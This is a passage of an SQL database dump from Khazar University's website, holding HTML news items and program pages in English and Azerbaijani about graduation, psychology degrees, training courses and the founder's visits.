attained at Khazar University create\r\nopportunities for them to achieve success in their careers. Graduates work in\r\ngovernment positions and private companies; they drive change and many of them\r\nestablish their own companies. </p>\r\n<p>On\r\nbehalf of parents, Elshan Zeynalov made a speech to thank the university\r\nadministration and faculty. </p>\r\n<p>Then diplomas were presented to graduates by Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees; Dr. Hasan\r\nNiknafs, President of the University; Dr. Isakhan Isakhanli, Vice President for\r\nAdministration and Student Affairs; Professor Mahammad Nuriyev, Vice President\r\nof Khazar University for Academic Affairs; deans of schools; chairs of\r\ndepartments; and instructors presented diplomas. University veteran Nana\r\nKalantarli also participated in handing out diplomas. She made a speech\r\nannouncing that she was ending her service to the university and thanking the\r\nuniversity collective. Hamlet Isaxanli highly appraised Nana Kalantarli’s work\r\nand thanked her. </p>\r\n<p>After diplomas were\r\npresented, graduates took the Khazar University oath and took group pictures. </p>\r\n<p>Professor Hamlet Isaxanli\r\nmade a speech about the favorable educational environment at the university,\r\nsaying that it not only prepares high-quality specialists, but also raises up a\r\nwell-rounded young generation. The university distinguishes itself on\r\ninternational rankings and constantly takes first place among Azerbaijani\r\nuniversities because of its hard-working staff, extended network of\r\ninternational partnerships with leading world universities, and constant\r\nimprovement of its facilities. He also spoke about the university’s future plans.\r\n</p>\r\n<p>The ceremony ended with a performance of the\r\nuniversity’s Department of Music and Fine Arts. The concert included\r\nperformances by Associate Professor Zulfiyya Sadigova, Department Chair and\r\npiano soloist; Meritorious Artist Farid Aliyev, soloist for the M.F. Akhundov\r\nAcademic Opera and Ballet Theater; Mahsati Jabbarova, master’s student of\r\nTchaikovsky Moscow Conservatory, soloist for M.Magomayev Azerbaijan State\r\nPhilharmonic and Khazar University instructor;&nbsp; boys’ and girls’ student\r\ndance groups (directed by Khazar University instructors Sabina Ismayilova and\r\nMeritorious Artist Telman Aliyev) and the university’s dance ensemble.&nbsp;</p>'),(2365,1438,'az','Faydalı linklər','Faydalı linklər','<p><strong><a href=\"http://www.khazar.org/files/psycho_depart/Psixiatriya_yardimi_haqqinda_Azerbaycan_Respublikasinin_Qanunu.pdf\">Psixiatriya yardımı haqqında Azərbaycan Respublikasının Qanunu</a></strong><br></p><p><a href=\"https://www.facebook.com/xezer.psixolojixidmet.merkezi/\">https://www.facebook.com/xezer.psixolojixidmet.merkezi/</a><br></p><p><a href=\"https://www.facebook.com/khazarpsych/\">https://www.facebook.com/khazarpsych/</a></p>'),(3145,1857,'en','Professor Hamlet Isaxanli on \"Yellow String\" Program on Public TV','On January 29, 2017, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was a guest on the \"Yellow String\" program...','<p>On January 29, 2017,\r\nProfessor Hamlet Isaxanli, the founder of Khazar University and Chairman of its\r\nBoard of Directors and Trustees, was a guest on the \"Yellow String\"\r\nprogram of Public TV. He spoke about creativity and hobbies, music and poetry,\r\nmathematics and language, the language of emotions and the language of Nature,\r\nfolk songs, problems of collecting and performing folk songs. Professor\r\nIsaxanli then answered questions and read some of his poems.&nbsp;</p>'),(1008,643,'en','Programs','Programs','<p><strong><a href=\"http://www.khazar.org/files/psycho_depart/tedris_qr_BS_ENG_.pdf\">BS&nbsp;Degree Program in Psychology</a></strong><a href=\"http://www.khazar.org/files/pdf/Bachelor%20of%20Science%20(BS)%20Degree%20Program%20in%20Psychology.PDF\"></a></p><p><strong><a href=\"http://www.khazar.org/files/psycho_depart/tedris_qr_MS_ENG_.pdf\">MS&nbsp;Degree Program in Clinical Psychology</a></strong><br></p><a href=\"http://www.khazar.org/files/pdf/Bachelor%20of%20Science%20(BS)%20Degree%20Program%20in%20Psychology.PDF\"></a>'),(2098,1289,'en','Specialty selection for Bachelor level applicants ','The selection of specialties of students wanting to admit to Khazar University during 2016-2017 academic years is in progress...','The selection of specialties of students wanting to admit to Khazar University during 2016-2017 academic years is in progress. The selection of specialties will be conducted through the Internet from July 29 until August 10. The list of students admitted to Khazar University will be announced on August 15. The registration of admitted students will be during 15-25 August.'),(2099,1290,'az',' Milli Qəhrəman M.İbrahimov adına Biləsuvar Təhsil Kompleksinin yüksək bal toplayan 4 məzunu Xəzər Universitəsini seçdi  ','TQDK 2016-2017-ci tədris ili üzrə Azərbaycan Respublikasının ali təhsil müəssisələrinə tələbə qəbulunun nəticələrini açıqladı...','<p>TQDK 2016-2017-ci tədris ili üzrə Azərbaycan Respublikasının ali təhsil müəssisələrinə tələbə qəbulunun nəticələrini açıqladı. Azərbaycan Respublikasının Milli Qəhrəmanı Mübariz İbrahimovun adını daşıyan Biləsuvar Təhsil Kompleksinin bu il məzun olan 24 nəfər şagirdlərindən ən yüksək bal toplayan &nbsp;4 nəfəri Xəzər Universitəsinə daxil olmuşlar:</p><p>&nbsp;</p><p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aqşin Kazımlı&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;- Kompüter Mühəndisliyi</p><p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ümid Nəzərov&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;- Kompüter Mühəndisliyi</p><p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Məhəmməd Məmmədli &nbsp;&nbsp;&nbsp;&nbsp;-&nbsp; Kompüter Mühəndisliyi</p><p>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Əyyub Əlizadə&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - Kompüter Mühəndisliyi</p>'),(1009,654,'az','Psixologiya üzrə Bakalavr Dərəcə Proqramı','Psixologiya üzrə Bakalavr Dərəcə Proqramı','<div><a href=\"http://www.khazar.org/files/pdf/Bachelor%20of%20Science%20(BS)%20Degree%20Program%20in%20Psychology.PDF\">BS&nbsp;Degree Program in Psychology</a></div>'),(4991,2910,'en','Upcoming Events','Upcoming Events','<h2>CALL FOR APPLICATIONS: NATURAL RESOURCE DECISION CHAIN</h2><p><em>Baku, Azerbaijan</em></p><p><em>March 29 - April 5</em></p><p>The Eurasia EI Knowledge Hub is announcing training course on “Natural Resource Governance Decision Chain” planned for March 29- April 05 in Baku, Azerbaijan. The ultimate goal of the course is to deliver skills and knowledge to government officials, parliamentary staff, CSOs, academia and media representatives that will help them to explore most effective scenarios for transforming extractive wealth into sustained prosperity.</p>\r\n<p>Based on the Natural Resource Charter, this decision chain course helps participants to understand the linkages between extractive sector transparency, accountability and management issues as an integrated system.</p><p>Participants of the course will be actively engaged in in-depth analysis and practical implementation scenarios associated with three components: domestic foundations for resource governance; the chain of economic decisions required to manage resources for prosperity; and the international foundations for resource governance.</p><p>The course will cover following topics:</p><ul><li>Exploration and license allocation</li><li>Taxation</li><li>Local effects from extractive operations</li><li>State Owned Enterprises</li><li>Managing volatile revenues</li><li>Government spending and investing for sustainable development</li></ul><p>The Course will be delivered by the trainers of Natural Resource Governance Institute and Eurasia Hub. Simultaneous translation English/Russian will be provided.</p><p>The course is open (with coverage of all expenses) for officials, academicians, CSO and mass media representatives of Mongolia, Azerbaijan, Kazakhstan, Kyrgyzstan, Ukraine and Tajikistan.</p><p>Representatives of international organizations, foundations, companies and individuals can also apply paying a course fee. The fee is $1450, excluding airfare. Applicants willing to participate in the training program, should complete and send application form in the&nbsp;<a href=\"https://goo.gl/forms/ouPBCDvfiJUe8i1A3\">link</a>&nbsp;not later than February 20, 2018. For more information, please contact <strong><em>Nazaket Azimli</em></strong> at <a href=\"http://mailto:nazaket.a@eurasia-hub.com\">nazaket.a@eurasia-hub.com</a>  <a href=\"http://mailto:nazaket.a@eurasia-hub.com\"></a></p>'),(4980,2904,'en','Professor Hamlet Isakhanli Delivered a Speech at Tbilisi State University 100th Anniversary Ceremonial Meeting','Speaking at the Ceremonial Meeting, Professor Hamlet Isakhanli, the Founder of Khazar University and the Chairman...','<p>Speaking at the Ceremonial Meeting, Professor Hamlet Isakhanli, the Founder of Khazar University and the Chairman of its Board of Directors and Trustees, recounted the distinctive features of TSU which made it famous, praised the history and culture of Georgia, Shota Rustaveli legacy, recent developments in science in Georgia, Georgian-Azerbaijani relationships, Khazar University and its cooperation with Georgian universities. He presented the carpet, a gift from Khazar University, to TSU.&nbsp;</p><p>Afterwards, Prof. Isakhanli met with the Ambassador of Azerbaijan in Georgia.&nbsp;</p><p>Several information agencies, including Azerbaijan TV took interviews from Prof. Isakhanli.&nbsp;</p><p>He also visited Georgian Parliament among the guests invited to the TSU’s 100<sup>th</sup> Anniversary.</p>'),(4981,2905,'az','Professor Hamlet İsaxanlı Tbilisi Dövlət Universitetinin 100 illik yubileyinə Quba xalçası hədiyyə edib','Gürcüstan Azərbaycanlılarının Xəbər Agentliyi GAXA 2018-ci il fevralın 8-də Tbilisi Dövlət Universitetinin 100 illik yubileyi mərasimlərində iştirak edən...','<p>Gürcüstan Azərbaycanlılarının Xəbər Agentliyi <strong><em><a href=\"http://www.gaxa.ge\">GAXA</a></em></strong> 2018-ci il fevralın 8-də Tbilisi&nbsp;Dövlət Universitetinin 100 illik yubileyi mərasimlərində iştirak edən Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıdan müsahibə almışdır.&nbsp;</p><p>Müsahibəni təqdim edirik:</p><p>Azərbaycanın Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri, professor Hamlet İsaxanlı İvane Caxaxişvili adına Tbilisi&nbsp;Dövlət Universitetinin 100 illik yubileyinə Quba xalçası bağışlayıb. GAXA-nın Tbilisi  müxbirinin məlumatına görə, H. İsaxanlı TDU-nun 100 illik yubileyi ilə bağlı keçirilən tədbirlər çərçivəsində ölkə prezidenti Georgi Marqvelaşvili ilə görüşdüklərini, həmçinin baş nazir Giorgi Kvirikaşvili və Tbilisi  şəhər meri Kaxa Kaladze ilə görüşəcəklərini bildirib. Onun sözlərinə görə, prezident Xəzər Universitetinin fəaliyyəti haqqında müsbət fikirlər səsləndirib.&nbsp; </p><p>H. İsaxanlı GAXA-ya açıqlamasında bu gün Gürcüstanın elm və təhsil naziri Mixail Çxenkeli ilə görüşdüyünü və görüşdə Gürcüstan azərbaycanlılarının təhsil sahəsində olan mövcud problemləri barədə öz fikirlərini söylədiyini və onların həll olunması istiqamətində əlindən gələn köməyi əsirgəməyəcəyini bildirib: “Mən nazirlə görüşdə ondan Gürcüstan azərbaycanlılarının təhsil problemlərinə fikir verməyini xahiş etdim. Dedim ki, Xəzər Universiteti olaraq nə lazımdırsa, sizə kömək edə bilərik. Məsələn, mən dedim ki, biz müəllimlərə, məktəb direkorlarına təlim kursları keçirilməsini təşkil edə bilərik. Nazirə məlumat verdim ki, Azərbaycanda təhsil nazirliyinin nəzdində Təlim Mərkəzi fəaliyyət göstərir. Mənim təklifim onun çox xoşuna gəldi və biz qərara gəldik ki, əməkdaşlıq edək”, H. İsaxanlı qeyd edib.</p><p>H. İsaxanlı bu gün Azərbaycan nümayəndə heyətinin TDU-nun 100 illik yubileyinə qatıldığını, və yubileyin rəsmi açılışında ona da söz verildiyini bildirib: “Çox şadam ki, TDU-nın təntənəli yubileyində iştirak edirik. Azərbaycandan yubileyə nümayəndə heyəti də gəlib. Azərbaycan Milli Elmlər Akademiyasından, Bakı Dövlət Universitetindən və Xəzər Universitetindən nümayəndələr, alim və professorlar dəvət olunub. Universitetin 100 illik yubileyində Bakı Dövlət Universitetinin tədris üzrə prorektoru İradə Əliyeva, Beynəlxalq Departamentin müdiri Gülheyran Rəhimova və Xəzər Universitetinin nümayəndəsi olaraq mən də iştirak edirəm. Mən yubileyin rəsmi açılışında çıxış edərək Azərbaycan-Gürcüstan dostluq əlaqələrindən, ölkədə yaşayan azərbaycanlılardan və əlaqələrimizin vacibliyindən, Gürcüstan mədəniyyəti və elmindən söhbət açdım. Mən yubileyə əliboş gəlməmişəm. Hazırda Luvr muzeyində saxlanılan Quba xalçasına bənzər bir xalça toxutdurub bu gün 100 illik yubileyini qeyd etdiyimiz İvane Cavaxişvili adına Tbilisi  Dövlət Universitetinə hədiyyə etmək üçün gətirdim. Xalçanın üzərinə ingilis dilində “İvane Cavaxişvili adına Tbilisi  Dövlət Universitetinin 100 illiyinə. Bakı. Azərbaycan. Xəzər Universitetindən hədiyyə” yazılmış xalçanı universitetin rektoruna bağışladım və bu, yubiley iştirakçılarının alqışına səbəb oldu”,- H. İsaxanlı bildirib.</p><p>H. İsaxanlı Gürcüstanda yeni fəaliiyət göstərən GAXA.ge saytına münasibət bildirib: “Mən eşidəndə ki, Gürcüstanda “Gürcüstan Azərbaycanlılarının Xəbər Agentliyi” (GAXA.ge) yaradılıb, çox sevindim, hətta bir az təəccübləndim. Bu dünya informasiya üzərində qurulub. Çünki yaxşı inormasiyan varsa, uğurlara əl ata bilərsən, yoxdursa, insan kor kimidir, getdiyi yolu görmür. İnformasiya çoxluğu çox mühümdür. Ona görə də digər informasiya agentliklərin təcrübəsini öyrənib sizin yeni açdığınız agentliyi daha da yüksəklərə qaldırmaq üçün gərgin çalışmaq lazımdır”,- deyə professor H. İsaxanlı vurğulayıb.</p>'),(1010,654,'en','BS Degree Program in Psychology','BS Degree Program in Psychology','<p><a href=\"http://www.khazar.org/files/pdf/Bachelor%20of%20Science%20(BS)%20Degree%20Program%20in%20Psychology.PDF\"><strong>BS&nbsp;Degree Program in Psychology</strong></a></p>'),(1972,1055,'az','Research Experimental Laboratory','Research Experimental Laboratory','<p>In the research laboratory, undergraduate and post-graduate students carry out research areas such as Heat Transfer, Fluid Mechanics and Enhanced Oil Recovery.</p><p>The equipments in the laboratory include:</p><p><br></p>\r\n<p><img src=\"http://www.khazar.org/files/social/IMG_5265.JPG\" style=\"border:0px #000000;width:400px;height:300px;vertical-align:baseline;margin-left:7px;float:left;margin-right:7px\"><strong>Heat Exchanger Apparatus</strong></p><p>&nbsp;</p><p>&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/social/IMG_5263.JPG\" style=\"border:0px #000000;float:left;width:400px;height:300px;margin-left:7px;margin-right:7px\"><strong>Friction Factor Apparatus</strong></p><p>&nbsp;</p><p>&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/social/IMG_3780.JPG\" style=\"border:0px #000000;float:left;width:400px;height:300px;margin-left:7px;margin-right:7px\"><strong>Core Flood Apparatus</strong></p><p><br></p><p><br></p><p><br></p><p><br></p>'),(1011,655,'az','Kliniki Psixologiya üzrə Magistr Dərəcə Proqramı','Kliniki Psixologiya üzrə Magistr Dərəcə Proqramı',''),(6073,3464,'en','Training on “International credit transfer and credit recognition procedure” held','On September 28, 2018, on an organizational support of Center for Development at Khazar University, a training on...','<p>On September 28, 2018, on an organizational support of Center for Development at Khazar University, a training on “<em>International credit transfer and credit recognition procedure</em>” was held within Erasmus+ PAWER project for the staff of University departments.</p><p>The aim of the training was to inform the attendees about the Bologna process, ECTS, student/teacher exchange contracts, support through and after exchange programs, exchange policy as well as essential issues related to student and teacher exchange programs and the role of Khazar University in this process. The training was attended by staff of various schools who expressed their opinions and criticism.</p>'),(5107,2971,'az','“İntervyudan uğurla keçməyin yolları” mövzusunda təlim','2018-ci il fevralın 16-da Xəzər Universiteti Karyera Mərkəzinin meneceri Səbinə Allahverənova...','<p>2018-ci il fevralın 16-da Xəzər Universiteti Karyera Mərkəzinin meneceri Səbinə Allahverənova “İntervyudan uğurla keçməyin yolları” mövzusunda təlim keçirdi.</p><p>Müsahibə mərhələsində Mühəndislik və təbiqi elmlər fakültəsinin Tədris işləri üzrə dekan müavini Fəxrəndə Əlimərdanova da iştirak etdi.</p><p>Təlimin məqsədi tələbələrə fundamental intervyu praktikası və biliyi vermək idi.</p><p>Təlimin sonunda tələbələrin sualları cavablandırıldı.</p>'),(5108,2972,'az','Xəzər Universiteti EURIE-2018 Təhsil Sammitində','2018-ci il fevralın 14-də Türkiyənin İstanbul şəhərində Lütfi Kırdar Konqres Mərkəzində...','<p>2018-ci il fevralın 14-də Türkiyənin İstanbul şəhərində Lütfi Kırdar Konqres Mərkəzində EURIE-2018 Sammitinin rəsmi açılışı oldu. Sammitdə dünyanın 80 ölkəsindən 400-ə yaxın universitet, institut, təhsil qurumları və digər təşkilatlar iştirak edirdilər. Açılışda Türkiyənin və xarici ölkələrdən dəvət olunmuş dövlət rəsmiləri çıxış etdilər.</p><p>Sammitin rəsmi açılışından sonra konqres mərkəzində universitetlərin və digər qurumların Təhsil Sərgisinin nümayişinə başlanıldı. Rəsmi qonaqlar Xəzər Universitetinin sərgi salonunu ziyarət etdilər. Hər il olduğu kimi, bu il də Xəzər Universiteti öz sərgi salonu ilə seçilirdi. Universitetin sərgi salonunda bakalavr, magistr, doktorantura bölmələrini özündə əks etdirən xüsusi banerlər, Azərbaycanın və Xəzər Universitetinin bayraqları, masaüstü broşürlər, bloknotlar, qələmlər, çantalar və digər əşyalar var idi. Universitetin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli sammitin ilk günü universitet adından brifinq təşkil etdi.</p><p>Xəzər Universitetini ziyarət edən çoxsaylı qonaqlar universitet haqqında xoş sözlər söylədilər. Sammitin ikinci günü Malayziyanın Elm və Ali təhsil naziri İdris Yusuf və rəhbərlik etdiyi nümayəndə heyəti şəxsən Xəzər Universitetini ziyarət etdi və universitetlə yaxından tanış oldu. Ə.Əmirbəyli malayziyalı naziri Bakıya, Xəzər Universitetinə dəvət etdi. İdris Yusuf dəvət üçün dərin təşəkkürünü bildirdi. Sammitin üçüncü günü EURAS-ın prezidenti, Dr. Mustafa Aydın Xəzər Universitetinin sərgi salonunu ziyarət etdi və sərgi salonu haqqında xoş sözlər söylədi və Universitetin rəhbərliyinə dərin təşəkkürünü bildirdi. M.Aydın Xəzər Universiteti tərəfindən summitə həsr olunmuş xüsusi təqvimləri çox bəyəndiyini və bu cür təşəbbüslərin EURAS-ın digər üzvləri tərəfindən də həyata keçirilməsini arzuladı. Elə həmin gün Ə.Əmirbəyli EURAS-ın İdarə Heyətinin toplantısında Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının adından iştirak etdi. EURIE-2018 Sammitinin Təşkilat Komitəsi adından Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya şəxsən təşəkkür elan edildi.</p><p>EURIE-2018 Sammitində Xəzər Universitetinin sərgi salonunu İngiltərə, İtaliya, Amerika Birləşmiş Ştatları, Rusiya, Türkiyə, Ukrayna və digər ölkələrdə fəaliyyət göstərən universitetlərin nümayəndələri ziyarət etdilər. Bütün qonaqlara Xəzər Universiteti haqqında geniş məlumat verildi və universitetin hədiyyələri təqdim edildi.</p><p>Sammitin sonuncu günü xatirə şəkli çəkildi.</p>'),(1012,655,'en','MS Degree Program in Clinical Psychology','MS Degree Program in Clinical Psychology','<div><br></div><div> <div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Clinical Psychology in Adult Mental Health</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Clinical Child and Adolescent Psychology</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Advanced Research methods and Statistics in Clinical Psychology</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Contemporary points of view in Psychology</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Theories of Cognitive Behavioral Therapy</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Forensic Psychology</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Psychology of Addiction</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Family Psychology</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><em>Each 6 credits</em></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><em>&nbsp;</em></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Supervision&nbsp;&nbsp; 12 credits</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Dissertation&nbsp; 30 credits</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Total : 90 credits</p></div><br></div>'),(1013,644,'az','Fənlərin təsviri','Fənlərin təsviri','<p style=\"text-align:justify\"><strong mso-bidi-font-weight:normal\"\"=\"\">PSYCH 410.\r\nPsixopatologiya</strong></p>\r\n<p style=\"text-align:justify\">Bu fənn psixopatologiyanın təbiəti və keçmişi\r\nhaqqında ümumi bir məlumat verməklə yanaşı, müxtəlif nəzəriyyələri tədqiq edərək,\r\nanormallıqları anlamağa kömək edir. Dərsin əsas məğzi müxtəlif psixoloji xəstəliklərin\r\ndiaqnozu, təsnifatı, etimologiyası və müalicəsi ilə bağlı olacaq.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 318.\r\nEksperimental psixologiya</strong></p>\r\n<p style=\"text-align:justify\">&nbsp;Bu fənn psixoloji araşdırmalarda məlumatların\r\ntoplanması və təşkil edilməsi üçün psixologiyada istifadə olunan təcrübi\r\nmetodologiyaları təqdim edir. Fənnin əsas məğzi heyvan və insan davranışını və\r\nzehni prosesləri öyrənmək üçün istifadə olunan tədqiqat metodlarından, öyrənmə,\r\nyaddaş və problem həllində təcrübələrin necə aparılmasından, məlumatların təhlili,\r\nelmi hesabat yazımı, klassik və cari tədqiqatların tənqidi qiymətləndirilməsi\r\nüçün statistik metodlardan ibarətdir.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 406.\r\nSosial psixologiya</strong></p>\r\n<p style=\"text-align:justify\">Fənnin əsas məqsədi insan davranışının sosial məzmunda\r\ndigər insanların duyğu və davranışlarından təsirləndiyini ortaya çıxarmaqdır.\r\nSinif və qrup daixilində insanların fərd olaraq qarşılıqlı əlaqələri, kütləvi\r\ninformasiya vasitələrinin və sosial-iqtisadi sinifin ictimai təsirlərini öyrənmək\r\ndərsin əhatə dairəsinə aiddir. Tələbələr kurs ərzində ictimailəşmə, davranış,\r\ndilin qavranılması, kütləvi davranış, azğın davranış, ön mühakimələr və şiddət\r\ndə daxil olmaqla, ictimai reaksiya qəliblərinin seçilmiş formalarını araşdırırlar.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 302. Neyropsixologiya</strong></p>\r\n<p style=\"text-align:justify\">Bu kurs neyropsixologiya, funksional neyroanatomiya\r\nvə beyin davranışı əlaqələrini araşdırır. Beyin zədələri koqnitiv, şəxsiyyət və\r\npsixososial funksionallığa əks təsirləri ilə yanaşı, əksər hallarda qarşımıza\r\nçıxan neyropatoloji sindromlar da kursun əhatə dairəsindədir (məs., Travmatik\r\nbeyin zədələnməsi, serebrovaskular qəzalar –iflic, demensiya, və s.).</p>\r\n<p style=\"text-align:justify\">&nbsp;&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 102.\r\nPsixologiyaya giriş</strong></p>\r\n<p style=\"text-align:justify\">Bu fənn psixologiyanın təməl anlayışı üçündür və\r\ninsanın inkişafı, öyrənmə, yaddaş, zəka, motivasiya və duyğular, şəxsiyyət,\r\nanormallıq, ictimai qarşılıqlı təsirlər və etika kimi təməl sahələri əhatə edərək\r\npsixologiya elmini tanıdır. Tələbələr fəlsəfə, nəzəriyyə, biologiya və mədəniyyət\r\nkimi sahələrdə psixoloji faktorları kəşf edirlər.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 316.\r\nSosial elmlərdə araşdırma metodları</strong></p>\r\n<p style=\"text-align:justify\">Bu fənn, tətbiqi statistika daxil olmaqla, sosial\r\nelmlərin əsas metodik vasitələrini əhatə edir. Mövzular: araşdırma dizaynı,\r\nölçmə, müşahidə, sorğular, miqyas, seçmə, analiz və şərh etmə, araşdırma\r\nhesabatları və proqramlar.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 202.\r\nPsixoloji testlər və ölçülər</strong></p>\r\n<p style=\"text-align:justify\">Əsas qiymətləndirmə prinsiplərinə giriş, təhsil və\r\npsixoloji testlərin yoxlanılması. Mövzuların seçilməsində test etmənin rolu,\r\ntestlərin uyğun olmayan şəkildə istifadə edilməsi, test ballarının şərhi (norma,\r\nistinad və meyarlar), test ballarının və şərhlərinin etibarlılığı, sinif qiymətləndirməsi\r\nvə maddə analizi,fərqli test tiplərinə ümumi baxış: standart müvəffəqiyyət və\r\nqabiliyyət testləri, kəşfiyyat testləri, şəxsiyyət testləri.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 306.\r\nFizioloji psixologiya</strong></p>\r\n<p style=\"text-align:justify\">Beynin tədqiq olunması, əsas fizioloji proseslər və\r\ndavranışdakı rollar. Tələbələr beyin anatomiyası, fiziologiya və farmakologiya\r\nhaqqında əsas bilikləri inkişaf etdirirlər. Mövzular aşağıdakıları əhatə edir: duyma\r\nvə qavrama, neytral hərəkət prinsipləri, motivasiya, öyrənmə və yaddaş, şüur. Həm\r\neksperimental, həm də klinik məlumatları əhatə olunmuşdur.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 402. Şəxsiyyət\r\npsixologiyası</strong></p>\r\n<p style=\"text-align:justify\">Bu fənn şəxsiyyətin öyrənilməsinin tarixi olaraq, əhəmiyyətli\r\nvə aktual faktorları da daxil olmaqla, insan şəxsiyyətinin araşdırılması\r\nistiqamətində fərqli empirik yanaşmaları da araşdırır. Mövzu şəxsiyyətinin tərifi,\r\nşəxsiyyətin bioloji və mədəni aspektləri, psixoanalitik, idrak və davranış perspektivlərini,\r\ngender fərqləri və şəxsiyyət pozuntularını əhatə edir.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 414.\r\nKlinik psixologiya</strong></p>\r\n<p style=\"text-align:justify\">Bu kurs klinik psixologiya sahəsində nəzəriyyələri,\r\ntədqiqatları, xəstəliklərin qarşısının alınması, qiymətləndirilməsi və klinik tətbiqlərin\r\nhəyata keçirilməsini öyrədir. Klinik psixoloqlar tərəfindən istifadə edilən\r\ndiaqnoz və müalicə strategiyaları araşdırılacaq və tələbələr tənqidi yanaşmaya dəvət\r\nediləcəklər.</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 404.\r\nİnkişaf psixologiyası</strong></p>\r\n<p style=\"text-align:justify\">Bu fənn hamiləlik və doğum, körpəlik, uşaqlıq,\r\nyetkinlik, ölüm kimi başlanğıcdan başlayaraq insanın inkişafı ilə əlaqədar təməl\r\nməlumatları əhatə edəcək. İnkişaf psixologiyasında olan nəzəriyyələr əsasında\r\nerkən və orta uşaqlıq dövrünə aid sosial və koqnitiv təsirlər araşdırılacaq.</p>\r\n<p 